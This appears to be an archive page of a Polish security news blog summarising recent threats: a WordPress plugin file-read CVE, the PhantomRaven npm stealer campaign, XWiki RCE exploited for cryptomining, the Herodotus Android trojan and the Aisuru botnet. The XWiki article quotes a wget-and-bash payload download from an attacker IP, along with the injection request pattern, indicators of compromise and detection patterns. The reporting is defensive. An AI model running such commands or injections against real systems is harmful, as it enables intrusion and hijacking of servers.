Archiwa: Malware - Strona 118 z 125 - Security Bez Tabu

Tag: Malware

Wtyczka bezpieczeństwa WordPress ujawniała prywatne dane subskrybentom (CVE-2025-11705)

Wprowadzenie do problemu / definicja luki

W popularnej wtyczce Anti-Malware Security and Brute-Force Firewall (GOTMLS) dla WordPressa wykryto podatność CVE-2025-11705, która umożliwia użytkownikom o niskich uprawnieniach (np. „Subscriber”) odczyt dowolnych plików na serwerze. W praktyce oznacza to możliwość wykradzenia m.in. zawartości wp-config.php (dane dostępowe do bazy), kluczy/saltów oraz innych prywatnych plików. Luka dotyczy wersji ≤ 4.23.81 i została poprawiona w 4.23.83 z 15 października 2025 r. Szacuje się, że wtyczka działa na 100 000+ witrynach.

W skrócie

  • CVE-2025-11705: brak weryfikacji uprawnień (missing capability check) w akcjach AJAX prefiksowanych GOTMLS_. Efekt: arbitrary file read dla zalogowanych użytkowników (od poziomu Subscriber).
  • Zakres: wszystkie wersje do 4.23.81 włącznie.
  • Łatka: wydana 15.10.2025 w wersji 4.23.83 – dodano właściwą kontrolę uprawnień.
  • Eksploatacja: na moment publikacji brak oznak ataków w naturze, ale po ujawnieniu podatność może zostać szybko zaadaptowana przez napastników.
  • Skala: ~100 000 aktywnych instalacji; dzienniki WordPress.org wskazują tysiące pobrań po wydaniu poprawki, co sugeruje, że część witryn wciąż może pozostawać podatna.

Kontekst / historia / powiązania

Zgłoszenie trafiło do zespołu Wordfence (Threat Intelligence) na początku października; 14 października przekazano je dalej przez WordPress.org Security Team do autora wtyczki. Dzień później pojawiło się wydanie 4.23.83 z poprawką. Publiczne ujawnienie – 29 października 2025 r. – opisało wektor i ryzyko dla serwisów z otwartą rejestracją użytkowników.

Analiza techniczna / szczegóły luki

  • Źródło problemu: brak kontroli uprawnień (CWE-862) w funkcji GOTMLS_ajax_scan() i pokrewnych akcjach AJAX GOTMLS_*. Weryfikacja opierała się na noncie, który użytkownik o niskich uprawnieniach mógł legalnie pozyskać, co pozwalało obejść intencję ograniczenia dostępu.
  • Skutek: zalogowany subskrybent mógł odczytać dowolny plik dostępny z poziomu procesów PHP – w tym wp-config.php, klucze/solty, logi, kopie konfiguracji itp. W konsekwencji możliwy jest dostęp do bazy danych i eksfiltracja skrótów haseł, e-maili, metadanych, treści wpisów.
  • Poprawka: w 4.23.83 dodano prawidłową weryfikację kompetencji użytkownika (m.in. nową funkcję walidującą użytkownika), co blokuje nieautoryzowane wywołania akcji.

Praktyczne konsekwencje / ryzyko

  • Eskalacja dostępu pośrednia: odczyt wp-config.php → poświadczenia bazy → dostęp do tabel użytkowników → pętle resetów/masowe logowania, phishing ukierunkowany (np. na redaktorów/adminów).
  • Wycieki danych: e-maile, hash’e haseł, klucze i inne pliki konfiguracyjne. Ryzyko naruszeń RODO, jeżeli w bazie są dane osobowe.
  • Niski próg ataku: wystarczy konto subskrybenta, które wiele stron udostępnia przez otwartą rejestrację (komentarze, newslettery, membership).

Rekomendacje operacyjne / co zrobić teraz

  1. Zaktualizuj wtyczkę do ≥ 4.23.83 na wszystkich instancjach. Zweryfikuj, czy środowisko nie utrzymuje klonów/stagingów ze starszą wersją.
  2. Wymuś rotację sekretów: po aktualizacji zmień hasło do bazy, odśwież klucze/salty w wp-config.php (pole AUTH_KEY itp.) i rozważ reset haseł wybranym rolom, jeśli pliki mogły zostać odczytane.
  3. Audyt logów: przejrzyj dzienniki serwera/WordPress (AJAX, logowania) pod kątem podejrzanych wywołań admin-ajax.php związanych z akcjami GOTMLS_* oraz nietypowych pobrań plików.
  4. Ogranicz rejestrację (tymczasowo) lub podnieś tarcie: wymagaj weryfikacji e-mail, moderacji kont, włącz reCAPTCHA dla rejestracji i logowania. (Dobra praktyka, niezależnie od tej luki.)
  5. Zasady least privilege: oceń, czy rola „Subscriber” faktycznie jest potrzebna i jakie endpointy AJAX są dostępne zalogowanym użytkownikom – szczególnie w wtyczkach bezpieczeństwa.
  6. Monitoruj komunikaty dostawców (Wordfence/Patchstack) i skonfiguruj automatyczne aktualizacje bezpieczeństwa przynajmniej dla krytycznych/średnich luk.

Różnice / porównania z innymi przypadkami (jeśli dotyczy)

Ta luka wymaga autoryzacji (loginu) i daje odczyt plików – to inny profil ryzyka niż ostatnie przypadki pełnych przejęć przez auth bypass/RCE. W praktyce jednak odczyt wp-config.php bywa wystarczający do dalszej kompromitacji (kradzież poświadczeń DB → pivot). Wordfence od miesięcy sygnalizuje, że wektorem nr 1 ekosystemu WordPress są wtyczki i ich endpointy (AJAX/REST), nie zaś sam core.

Podsumowanie / kluczowe wnioski

  • Zaktualizuj GOTMLS do 4.23.83+ i zrotuj sekrety – to minimalny bezpieczny stan.
  • Sprawdź logi pod kątem nietypowych wywołań AJAX GOTMLS_* oraz potencjalnego wycieku wp-config.php.
  • Zamknij drzwi dla nadużyć subskrybenta: ogranicz otwartą rejestrację, dodaj CAPTCHA, przegląd ról i uprawnień.
  • Utrzymuj automatyczne aktualizacje i subskrybuj feedy bezpieczeństwa (Wordfence/Patchstack).

Źródła / bibliografia

  • BleepingComputer: streszczenie luki, wektor, wersje, status eksploatacji (29.10.2025). (BleepingComputer)
  • WordPress.org (karta wtyczki): wersja naprawcza 4.23.83, statystyki instalacji/pobrań. (WordPress.org)
  • Wordfence Threat Intelligence (rekord podatności): opis AFD (arbitrary file read), atrybucja, szczegóły techniczne. (Wordfence)
  • Wordfence (artykuł TI): oś czasu zgłoszenia/poprawki i zakres oddziaływania (~100k witryn). (Wordfence)
  • Patchstack Database: rekord podatności i zalecenie aktualizacji do 4.23.83+. (Patchstack)

PhantomRaven zalewa npm pakietami kradnącymi dane logowania. Co wiemy i jak się bronić

Wprowadzenie do problemu / definicja luki

Aktywna kampania PhantomRaven celuje w programistów ekosystemu JavaScript, publikując dziesiątki złośliwych paczek w rejestrze npm. Ich celem jest kradzież tokenów uwierzytelniających (npm, GitHub Actions, GitLab, Jenkins, CircleCI), sekretów CI/CD oraz poświadczeń do repozytoriów, co otwiera drogę do wtórnych ataków na łańcuch dostaw oprogramowania. Kampania rozpoczęła się w sierpniu 2025 r., obejmuje 126 paczek i przekroczyła 86 000 pobrań. Zidentyfikowali ją badacze Koi Security; część paczek w momencie publikacji raportów była wciąż dostępna w npm.

W skrócie

  • Skala: 126 złośliwych paczek, >86 000 pobrań (sierpień–październik 2025).
  • Technika ukrycia: Remote Dynamic Dependencies (RDD) – paczki deklarują 0 zależności, a właściwy ładunek dociągają z zewnętrznego serwera podczas npm install.
  • Egzekucja: wykorzystanie skryptów lifecycle (np. preinstall) do automatycznego uruchomienia payloadu bez interakcji użytkownika.
  • Kradzione dane: tokeny npm/GitHub/GitLab/Jenkins/CircleCI, fingerprinting systemu i środowiska CI/CD, adresy e-mail.
  • Exfiltracja: redundancja kanałów (HTTP GET z danymi w URL, HTTP POST/JSON, WebSocket).
  • Socjotechnika nazw: slopsquatting – wykorzystywanie halucynacji LLM do rejestrowania nieistniejących, lecz „wiarygodnie brzmiących” nazw paczek.

Kontekst / historia / powiązania

Ukrywanie złośliwego kodu w pakietach open source nie jest nowe, jednak PhantomRaven łączy kilka trendów: nadużycie rzadko używanej funkcji npm (URL-owe specyfikatory zależności), automatyczne skrypty instalacyjne i LLM-asystowanych rekomendacji paczek. Media branżowe opisują to jako ataki z „niewidzialnymi zależnościami”, które omijają statyczne skanery rejestrów i klasyczne analizatory SBOM.

Analiza techniczna / szczegóły luki

Remote Dynamic Dependencies (RDD)

Zamiast standardowych wpisów w "dependencies", złośliwe paczki wskazują HTTP URL (np. http://packages.storeartifact.com/...). Taki komponent nie znajduje się w npmjs.com, więc wiele narzędzi SCA/SAST go nie analizuje – interfejs npm pokazuje „0 dependencies”, co uśpiwa czujność. Podczas npm install pobierany jest zdalny pakiet, który zawiera preinstall uruchamiający złośliwy kod.

Łańcuch ataku

  1. Deweloper instaluje pozornie czystą paczkę z npm.
  2. Npm dociąga „niewidzialną” zależność z kontrolowanego przez atakującego hosta.
  3. Skrypt preinstall uruchamia się automatycznie, bez pytań.
  4. Malware wykonuje profilowanie systemu, enumerację e-maili i zbieranie sekretów CI/CD.
  5. Dane są eksfiltrowane wieloma kanałami (GET/POST/WebSocket).

Cele i techniki zbierania danych

  • Tokeny: npm, GitHub Actions, GitLab CI, Jenkins, CircleCI.
  • Fingerprinting: IP publiczny i lokalny, hostname, OS, wersja Node.js, bieżący katalog.
  • Artefakty identyfikacyjne: adresy e-mail z env, .gitconfig, .npmrc, package.json.

Infrastruktura i IoC

  • Domena/C2: packages.storeartifact.com
  • IP: 54.173.15.59
  • Endpoint exfiltracyjny: jpd.php
  • Wzorce kont/e-maili publikujących: jpdtester0X@..., m.in. jpdtester07@outlook[.]com, jpdtester12@gmail[.]com itd.
  • Przykładowe nazwy paczek: unused-imports, eslint-comments, transform-react-remove-prop-types, @gitlab-lsp/*, artifactregistry-login, crowdstrike, react-async-component-lifecycle-hooks, syntax-dynamic-import i wiele innych (pełna lista w raporcie Koi).

Slopsquatting (LLM-assisted naming)

Atakujący rejestrują nieistniejące wcześniej, lecz „wiarygodne” nazwy, które LLM potrafią podpowiadać jako rzekomo właściwe („unused-imports” vs. prawidłowe eslint-plugin-unused-imports, itp.). To omija proste reguły typosquattingu i zwiększa skuteczność socjotechniki wobec developerów polegających na asystentach AI.

Praktyczne konsekwencje / ryzyko

  • Przejęcie pipeline’ów i możliwość dorzucenia złośliwych commitów/releasów (supply-chain).
  • Kradzież sekretów skutkująca lateral movement do chmur, rejestrów artefaktów i środowisk produkcyjnych.
  • Trudna detekcja w klasycznych skanerach – ładunek nie jest obecny w artefakcie z npm, a zależności wyglądają na puste.

Rekomendacje operacyjne / co zrobić teraz

Natychmiastowa reakcja (IR):

  1. Blokada IoC: zablokuj packages.storeartifact.com i powiązane IP na egressie; monitoruj ruch HTTP/WS do niezatwierdzonych hostów.
  2. Hunting: przeszukaj logi o instalacjach paczek z listy Koi; sprawdź wywołania npm install z nietypowymi URL-ami w package.json/package-lock.json.
  3. Rotacja sekretów: unieważnij tokeny npm/GitHub/GitLab/Jenkins/CircleCI, klucze API i hasła; wymuś ponowną autoryzację runnerów/agentów.
  4. Przegląd repozytoriów: audit ostatnich commitów/tagów/CI workflows pod kątem nieautoryzowanych zmian.

Twardnienie (hardening) na przyszłość:

  • Wyłącz skrypty lifecycle podczas CI: uruchamiaj npm ci z --ignore-scripts (lub npm config set ignore-scripts true w pipeline’ach, a w razie potrzeby whitelistuj pojedyncze przypadki). Uzupełnij o izolację sieciową stepów instalacyjnych. (Zasada wynika z analizy mechanizmu preinstall.)
  • Blokada zależności z URL: polityki DevSecOps/SCA powinny odrzucać HTTP(S) dependencies w package.json. Monitoruj PR-y pod kątem zmian w sekcji dependencies/scripts.
  • Wymuś 2FA i OIDC-based tokens dla dostępu do rejestrów/kont CI/CD; minimalne uprawnienia i krótkie TTL tokenów.
  • SBOM + detekcja behawioralna: klasyczny SBOM nie pokaże RDD; uzupełnij go o dynamiczną analizę instalacji (wykrywanie połączeń sieciowych podczas npm install).
  • Repozytoria lustrzane/air-gap: rozważ wewnętrzne mirrorowanie uznanych paczek i blokadę instalacji z internetu w CI (allowlist).
  • Edukacja dot. LLM: wprowadź guideline’y nt. weryfikacji nazw paczek sugerowanych przez AI; wymagaj sprawdzenia istnienia i reputacji projektu.

Różnice / porównania z innymi przypadkami (jeśli dotyczy)

  • Klasyczny typosquatting: złośliwy kod siedzi w paczce na rejestrze; tutaj kod jest poza rejestrem (RDD), więc omija wiele skanerów.
  • Kampanie 2023–2025 (npm/PyPI) nierzadko używały postinstall do exfiltracji; PhantomRaven dodaje „niewidzialne” zależności i slopsquatting, co utrudnia detekcję i zwiększa skuteczność dystrybucji.

Podsumowanie / kluczowe wnioski

PhantomRaven pokazuje, jak łatwo połączyć niszowe funkcje npm, automatyczne skrypty instalacyjne i błędy poznawcze (zaufanie do LLM) w skuteczny atak na łańcuch dostaw. Krytyczne są: blokada HTTP-owych zależności, wyłączenie skryptów lifecycle w CI, rotacja i krótkie TTL tokenów, monitoring ruchu podczas instalacji oraz dyscyplina weryfikacji paczek – szczególnie tych „poleconych” przez asystentów AI.

Źródła / bibliografia

  1. BleepingComputer — PhantomRaven attack floods npm with credential-stealing packages (29 paź 2025). (BleepingComputer)
  2. Koi Security — PhantomRaven: NPM Malware Hidden in Invisible Dependencies (paź 2025) — szczegóły RDD, IoC i lista paczek. (Koi)
  3. Dark Reading — Malicious NPM Packages Disguised With ‘Invisible’ Dependencies (29 paź 2025) — omówienie techniki i kontekstu. (SCM Demo)
  4. Phylum — Sensitive Data Exfiltration Campaign Targets npm and PyPI (26 wrz 2023) — wcześniejsze, pokrewne kampanie exfiltracyjne. (blog.phylum.io)

CVE-2025-24893: krytyczna luka w XWiki wykorzystywana do kopania kryptowalut

Wprowadzenie do problemu / definicja luki

Badacze zaobserwowali aktywne wykorzystanie krytycznej luki CVE-2025-24893 w platformie XWiki (CVSS 9.8). Błąd pozwala niezalogowanemu napastnikowi na zdalne wykonanie kodu (RCE) poprzez podatny makro-komponent SolrSearch, co otwiera drogę m.in. do instalacji koparki kryptowalut na serwerze. O najnowszych, realnych atakach informuje VulnCheck; zjawisko opisał też SecurityWeek.

W skrócie

  • Co: RCE bez uwierzytelnienia w XWiki przez SolrSearch (Groovy template/code injection).
  • Wersje podatne: 5.3-milestone-2 → 15.10.10 oraz 16.0.0-rc-1 → 16.4.0 (naprawione w 15.10.11, 16.4.1 i 16.5.0-rc1).
  • Wektor: manipulacja parametrem text w żądaniu do Main/SolrSearch?media=rss&text=... skutkująca wykonaniem kodu Groovy.
  • W terenie: kampania o niskim „poziomie zaawansowania” z instalacją minera (tcrond) i łączeniem do puli c3pool.org.

Kontekst / historia / powiązania

Luka została zgłoszona w maju 2024 r. do programu Trend Micro ZDI, a publicznie udokumentowana 19 grudnia 2024 r. Wpis NVD i porady producenta (GHSA) pojawiły się na początku 2025 r. Mimo że exploity PoC krążyły od miesięcy, dopiero pod koniec października 2025 r. VulnCheck potwierdził pełny łańcuch eksploatacji zakończony wdrożeniem koparki.

Analiza techniczna / szczegóły luki

Sednem problemu jest niewłaściwa walidacja parametru text w makrze SolrSearch. Napastnik wstrzykuje blok {{groovy}}...{{/groovy}} (renderowany w kontekście wiki) i uzyskuje zdalne wykonanie poleceń w kontekście procesu serwera WWW. To klasyczny przypadek CWE-94/95 (code / eval injection). XWiki i NVD udostępniły minimalny „proof” do weryfikacji podatności przez wywołanie RSS z osadzonym Groovy.

Obserwowany łańcuch ataku (VulnCheck):

  1. Pass 1: żądanie do SolrSearch zapisuje downloader do /tmp/11909 (np. wget http://193.32.208.24:8080/.../x640 -O /tmp/11909).
  2. Pass 2 (~20 min później): drugie żądanie wykonuje bash /tmp/11909, który pobiera dwa skrypty (x521, x522).
  3. x521 instaluje binarkę minera tcrond; x522 uruchamia minera z konfiguracją puli c3pool.org, dodatkowo zabijając konkurencyjne procesy (np. xmrig, kinsing).
  4. Źródła ruchu: m.in. 123.25.249.88 i 193.32.208.24. Udostępnianie plików przez serwis pokrewny transfer.sh na porcie 8080.

Praktyczne konsekwencje / ryzyko

  • Przejęcie hosta: pełne RCE bez uwierzytelnienia skutkuje możliwością instalacji malware, eksfiltracji danych i utrwalania dostępu.
  • Kopanie kryptowalut: obciążenie CPU, degradacja wydajności serwisu, potencjalne koszty energii/chmury; kampanie potrafią też usuwać konkurencyjne koparki i czyścić ślady.
  • Ryzyko wtórne: pivot do innych systemów, wstrzyknięcia web-shelli, zmiany konfiguracji Solr/Tomcat/OS.

Rekomendacje operacyjne / co zrobić teraz

  1. Pilna aktualizacja XWiki do wersji: 15.10.11, 16.4.1 lub 16.5.0-rc1 (łatka producenta).
  2. Wdrożenie obejścia (jeśli update niemożliwy): modyfikacja Main.SolrSearchMacros (ustawienie application/xml i bezpośrednia odpowiedź z rawResponse), dokładnie jak w poradzie GHSA/NVD.
  3. Hunting / IR (według IoC VulnCheck):
    • Szukaj żądań do .../bin/get/Main/SolrSearch?media=rss&text= z blokami {{groovy}}.
    • Artefakty: /tmp/11909, skrypty x521, x522, binarka tcrond, połączenia do auto.c3pool.org:80.
    • IP: 123.25.249.88, 193.32.208.24.
    • Komendy wget/curl z nietypowych hostów :8080.
  4. WAF / reguły detekcji: blokowanie/alertowanie na wzorce {{groovy}}, {{async}} w parametrach zapytań do SolrSearch; dostosuj sygnatury IDS/IPS (np. TippingPoint, Suricata) i reguły w narzędziach typu CrowdSec.
  5. Hardening XWiki/Solr/Tomcat: uruchamiaj usługę z minimalnymi uprawnieniami, izoluj w kontenerze, ogranicz dostęp sieciowy do panelu admina, włącz logowanie zapytań i HSTS.
  6. Po incydencie: rotacja kluczy/haseł, weryfikacja crontab/systemd (np. wpisy związane z tcrond), skanowanie integralności, reinstalacja hosta przy potwierdzonym RCE.

Różnice / porównania z innymi przypadkami

W przeciwieństwie do niedawnych kampanii RCE w popularnych CMS/ERP, tutaj eksploatacja opiera się na template/code injection w Groovy w ramach makr XWiki (a nie klasyczny deserializacja czy OGNL), co upraszcza łańcuch ataku: pojedynczy parametr HTTP → bezpośrednie execute(). ZDI i GHSA kategoryzują to wprost jako command/code injection w komponencie SolrSearchMacros.

Podsumowanie / kluczowe wnioski

  • CVE-2025-24893 to łatwo eksploatowalny RCE w XWiki, obecnie wykorzystywany w praktycznych atakach do kopania kryptowalut.
  • Patch jest dostępny i powinien być wdrożony natychmiast; obejście istnieje, ale traktuj je jako czasowe.
  • Warto przeprowadzić proaktywne threat hunting z użyciem udostępnionych IoC i dopasować reguły ochrony pod charakterystyczne wzorce {{groovy}} w zapytaniach.

Źródła / bibliografia

  • SecurityWeek — pierwsze doniesienia o aktywnej eksploatacji i kopaniu kryptowalut. (SecurityWeek)
  • VulnCheck — szczegółowa analiza łańcucha ataku, IoC (adresy IP, pliki, pula c3pool). (VulnCheck)
  • ZDI Advisory (Trend Micro) — opis podatności, wektor i naprawione wersje. (zerodayinitiative.com)
  • NVD — opis techniczny, wektor CVSS, repro krok-po-kroku i wskazówki dot. obejścia. (NVD)
  • GitHub Security Advisory (XWiki) — oficjalna porada producenta i zakres wersji dotkniętych. (GitHub)

ISA/IEC 62443 – Kompletny Przewodnik Po Standardzie Cyberbezpieczeństwa OT/ICS

Czym jest standard ISA/IEC 62443 i dlaczego ma znaczenie dla bezpieczeństwa OT/ICS

ISA/IEC 62443 to międzynarodowa seria standardów definiujących wymagania i procesy dla cyberbezpieczeństwa systemów automatyki przemysłowej i sterowania (Industrial Automation and Control Systems, IACS) oraz infrastruktury OT. Standard ten został opracowany przez International Society of Automation (ISA) i przyjęty przez International Electrotechnical Commission (IEC), tworząc wspólne, konsensusowe ramy ochrony dla wszystkich sektorów przemysłu wykorzystujących systemy ICS.

Czytaj dalej „ISA/IEC 62443 – Kompletny Przewodnik Po Standardzie Cyberbezpieczeństwa OT/ICS”

Kompletny Plan Wdrożenia NIS2 – Lista Kontrolna I Dowody Zgodności

Jak ten artykuł pomoże Ci w wdrażaniu NIS2?

Dyrektywa NIS2 (Network and Information Systems 2) nakłada na organizacje z wielu sektorów obowiązek wdrożenia zaawansowanych środków cyberbezpieczeństwa oraz wykazania zgodności z wymaganiami regulacyjnymi. Dla menedżerów, CISO oraz specjalistów IT odpowiedzialnych za bezpieczeństwo oznacza to konieczność opracowania kompleksowego planu działania – od fazy planowania, przez realizację technicznych i organizacyjnych zabezpieczeń, aż po przygotowanie dowodów zgodności na potrzeby audytu.

Czytaj dalej „Kompletny Plan Wdrożenia NIS2 – Lista Kontrolna I Dowody Zgodności”

Herodotus: nowy trojan na Androida „udaje człowieka”, by omijać detekcję i okradać konta

Wprowadzenie do problemu / definicja luki

Badacze ThreatFabric ujawnili nową rodzinę mobilnego malware’u na Androida o nazwie Herodotus. To trojan bankowy typu Device Takeover (DTO), który podczas zdalnego sterowania telefonem symuluje ludzkie pisanie – wprowadza znaki pojedynczo z losowymi przerwami 0,3–3 s – aby zmylić mechanizmy antyfraudowe oparte na tempie interakcji i rytmie klawiatury. Kampanie potwierdzono m.in. we Włoszech i Brazylii, a zestawy fałszywych nakładek („overlays”) przygotowano także dla banków i serwisów krypto w USA, Wielkiej Brytanii, Turcji i Polsce.

W skrócie

  • Nowość: wprowadzanie tekstu z losowymi opóźnieniami imituje człowieka i utrudnia wykrycie automatyzacji.
  • Zdolności: przejęcie urządzenia (DTO) przez nadużycie Accessibility Service, nakładki na aplikacje bankowe, podgląd ekranu, kradzież kodów SMS/2FA.
  • Dystrybucja: smishing → dropper (sideloading), podszywanie się m.in. pod „Banca Sicura” i „Modulo Seguranca Stone”.
  • Model: zapowiedziany jako Malware-as-a-Service (MaaS), autor „K1R0”.

Kontekst / historia / powiązania

ThreatFabric wskazuje, że Herodotus nie jest prostą ewolucją, ale ma fragmenty kodu i technik znanych z trojana Brokewell (np. ciągi znaków „BRKWL_JAVA”, podobna obfuskacja). To sugeruje „zszycie” komponentów z nowymi elementami, w tym modułem do bardziej „ludzkich” interakcji.

Analiza techniczna / szczegóły luki

  • Wejście tekstu: zamiast wklejać cały ciąg (co bywa wykrywane jako nieludzkie), malware dzieli tekst na znaki i wstawia je z losowym opóźnieniem 300–3000 ms. Celem jest ominięcie detekcji behawioralnej opartej na czasie wprowadzania danych.
  • Zdalne sterowanie: polecenia obejmują m.in. kliknięcia po elementach/koordynatach, gesty, akcje globalne (Back/Home/Recents), wpisywanie tekstu, a także VNC/screen-sharing.
  • Ukrywanie aktywności: „blocking overlay” – pełnoekranowa nakładka imitująca ekran ładowania, która maskuje działania oszusta podczas przelewów.
  • Kradzież danych: fałszywe strony logowania nad aplikacjami banków/krypto, przechwytywanie SMS (2FA), logowanie zawartości ekranu.
  • Dystrybucja i łańcuch infekcji: smishing prowadzący do droppera napisanego przez tego samego autora; dropper pomaga obejść ograniczenia Android 13+ dla Accessibility, uruchamia payload i prosi ofiarę o nadanie uprawnień.
  • Infrastruktura: komunikacja MQTT; domena google-firebase[.]digital z wieloma subdomenami przypisywanymi do różnych operatorów kampanii.

Praktyczne konsekwencje / ryzyko

  • Bankowość mobilna i fintech: Kontrole antyfraudowe polegające wyłącznie na tempie/rytmie interakcji mogą zostać zdegradowane – przerwy „jak u człowieka” obniżają ryzyko z punktu widzenia prostych silników behawioralnych. Potrzebne jest korelacyjne podejście (ryzyko urządzenia + sygnały sesyjne + behawioryka na poziomie indywidualnego wzorca).
  • Użytkownicy w Polsce: choć potwierdzone kampanie to Włochy i Brazylia, istnieją gotowe nakładki na aplikacje bankowe w Polsce, co wskazuje na realne ryzyko lokalnych kampanii.

Rekomendacje operacyjne / co zrobić teraz

Dla zespołów bezpieczeństwa w bankach/fintechach:

  1. Wzmacniajcie sygnalizację ryzyka urządzenia: wykrywanie aktywnych usług Accessibility, nakładek, wskaźników DTO (VNC/screen-sharing), nienaturalnych strumieni zdarzeń. Korelować z kontekstem sieciowym i reputacją aplikacji.
  2. Behawioralne modele per-użytkownik: zamiast prostych progów tempa wpisywania, modelować indywidualne wzorce; łączyć z detekcją anomalii na poziomie sekwencji UI (np. trajektorie kliknięć, wzorce nawigacji).
  3. Weryfikacja transakcji wysokiego ryzyka: step-up auth niezależny od SMS (np. FIDO2/push w zaufanej aplikacji), geokorelacja, challenge-response w obrębie aplikacji.
  4. Honeypoty anty-overlay: dynamiczne elementy UI i ukryte pola wykrywające „set text”/clipboard zamiast realnych zdarzeń klawiszy.
  5. Telemetria mobilna: alerty na „blocking overlay”, częste żądania uprawnień Accessibility, nietypowe użycie ACTION_SET_TEXT.

Dla użytkowników i działów IT:

  • Nie instaluj z SMS-ów/WWW – tylko Google Play i sprawdzony vendor MDM; wyłącz „instalację z nieznanych źródeł”.
  • Uważaj na prośby o Accessibility – legalne aplikacje rzadko tego potrzebują do bankowości.
  • 2FA bez SMS (aplikacyjna/push), aktualizacje Androida i Play Protect; w razie podejrzenia DTO – natychmiast rozłącz internet, zadzwoń do banku innym kanałem, zresetuj urządzenie i hasła.
  • Edukacja smishingowa (również dla helpdesku i contact center).
    Te zalecenia wynikają ze sposobu działania Herodotus (smishing→dropper→Accessibility→DTO).

Różnice / porównania z innymi przypadkami

  • Brokewell vs. Herodotus: Brokewell był wcześniejszą rodziną DTO; Herodotus wykorzystuje jego moduły i techniki, ale dodaje „humanizację” wejścia jako kluczową innowację anty-detekcyjną.
  • Na tle typowych trojanów bankowych: wklejanie danych/clipboard jest szybkie, ale „nieludzkie” – Herodotus celowo zwalnia i randomizuje. Media branżowe potwierdzają, że te przerwy potrafią wynosić do 3 sekund.

Podsumowanie / kluczowe wnioski

Herodotus to sygnał, że fraud na Androidzie wchodzi w erę „anty-behawioralną”: przestępcy modelują ludzkie zachowanie, żeby oszukać silniki antyfraudowe. Skuteczna obrona wymaga pełnej warstwowości: telemetryki urządzenia, detekcji DTO, modeli per-użytkownik, silnych metod weryfikacji transakcji i restrykcji instalacji aplikacji. Organizacje w Polsce powinny traktować temat priorytetowo, bo nakładki na krajowe aplikacje są już w arsenale operatorów.

Źródła / bibliografia

  • ThreatFabric: „New Android Malware Herodotus Mimics Human Behaviour to Evade Detection” (28.10.2025) – raport techniczny (kampanie, techniki, zakres opóźnień, DTO, overlay, MQTT). (threatfabric.com)
  • The Record (Recorded Future News): „New Android malware mimics human typing to evade detection, steal money” (28.10.2025) – streszczenie i regionalizacja (Włochy, Brazylia; nakładki m.in. Polska). (The Record from Recorded Future)
  • The Hacker News: „New Android Trojan ‘Herodotus’ Outsmarts Anti-Fraud Systems by Typing Like a Human” (28.10.2025) – potwierdzenie MaaS, Brokewell, zakres opóźnień. (The Hacker News)
  • BankInfoSecurity: „‘Herodotus’ Android Trojan Mimics Human Sluggishness” (28.10.2025) – opis anty-detekcji (opóźnienia do 3 s) i łańcucha infekcji. (BankInfoSecurity)
  • The Register: „Android malware types like your gran to steal banking creds” (28.10.2025) – omówienie kampanii i infrastruktury (domena google-firebase[.]digital). (The Register)

TurboMirai „Aisuru”: botnet IoT odpowiedzialny za ataki DDoS >20 Tb/s. Co to znaczy dla operatorów i firm?

Wprowadzenie do problemu / definicja luki

Najnowsze obserwacje firm badawczych wskazują na gwałtowny wzrost mocy wolumetrycznych ataków DDoS realizowanych przez klasę botnetów „TurboMirai”. Najgłośniejszy przedstawiciel — Aisuru — ma za sobą publicznie raportowane uderzenia przekraczające 20 Tb/s oraz 4 Gpps, w większości wymierzone w ekosystem gier online. Paradoksalnie, kod Aisuru nie generuje ruchu ze sfałszowanymi źródłami (no-spoofing), co ułatwia śledzenie i sanację zainfekowanych urządzeń po stronie operatorów sieci i dostawców internetu.

W skrócie

  • Moc ataków: >20 Tb/s i/lub >4 Gpps; notowane incydenty sięgały nawet ~29,6 Tb/s (krótkie „testy” mocy).
  • Pochodzenie: klasa TurboMirai — warianty Mirai z naciskiem na direct-path (bez refleksji/amplifikacji) i zwiększoną przepustowość per węzeł.
  • Brak spoofingu: ułatwia traceback i powiązanie ruchu z konkretnymi abonentami (SAV na brzegu dostępowym + brak uprawnień w urządzeniach).
  • Celowniki: głównie gaming/ISP, ale wpływ bywa systemowy (zatory międzyoperatorskie, awarie line-cardów).
  • Kompozycja botnetu: routery SOHO, rejestratory DVR, kamery IP i inne CPE ze wspólnymi OEM-ami/firmware.

Kontekst / historia / powiązania

Aisuru zadebiutował publicznie w 2024 r. w kontekście ataków na platformy gamingowe. W 2025 r. skala i częstotliwość rosły — od 6,3 Tb/s (incydent na KrebsOnSecurity w maju) przez przekroczenia 11 Tb/s, a następnie publiczne demonstracje mocy >22 Tb/s i ~29,6 Tb/s w październiku. Trend potwierdza szerszą narrację branżową: ostatnie lata to wysyp „hiper-wolumetrycznych” ataków oraz przejście od prostego DDoS do DDoD (Distributed Denial of Defense) — kampanii projektowanych do przeciążania samych systemów obrony.

Analiza techniczna / szczegóły luki

Wektory i charakterystyki ruchu

  • Direct-path UDP/TCP/GRE z przewagą średnich rozmiarów pakietów (ok. 540–750 B); widoczne także małe pakiety w atakach pps-owych. Zmienność flag TCP; obserwowano nawet 119 kombinacji w jednym ataku.
  • „Carpet bombing” oraz pseudo-losowa rotacja portów źródłowych/docelowych.
  • Wysokie Gpps uszkadzały/wybijały karty liniowe routerów szaszetowych (chassis line cards).
  • Większość kampanii z Aisuru to pojedynczy wektor direct-path; okazjonalnie łączony z innymi usługami booter/stresser w multivektor.

Dlaczego brak spoofingu?
Malware działa bez przywilejów w systemach CPE, a na brzegu wielu sieci dostępnych działa SAV/BCP38, co uniemożliwia fałszowanie źródeł. Efekt uboczny: możliwy traceback → korelacja z abonentem → kwarantanna/remediacja.

Skład i funkcje botnetu
Węzły to głównie routery domowe, CCTV, DVR i pokrewne CPE. Operatorzy aktywnie poszerzają pulę infekowalnych urządzeń, a Aisuru oferuje też usługę proxy rezydencyjnych do odbijania ataków L7/HTTPS z zewnętrznych harnessów.

Praktyczne konsekwencje / ryzyko

  • Operatorzy/ISP: z Aisuru znane są odpływy (outbound) >1 Tb/s z sieci dostępowych wskutek botów u abonentów; skutkiem bywa kongestia między AS-ami, degradacja QoS dla „postronnych” klientów, a w skrajnych przypadkach awarie kart liniowych.
  • Dostawcy gier / CDN / hosting: krótkotrwałe, ale ekstremalne piki mogą przewyższać lokalną/trasową pojemność, powodując łańcuchowe zakłócenia i re-routingi.
  • Przedsiębiorstwa: choć większość kampanii celuje w gaming/ISP, model direct-path i warstwa L3/L4 oznacza, że dowolny nieutwardzony zasób internetowy może zostać „przetestowany” lub wykorzystany do demonstracji mocy. Trend strategiczny DDoD pokazuje, że celem bywa sama obrona, nie tylko usługa.

Rekomendacje operacyjne / co zrobić teraz

Dla operatorów i dużych AS-ów

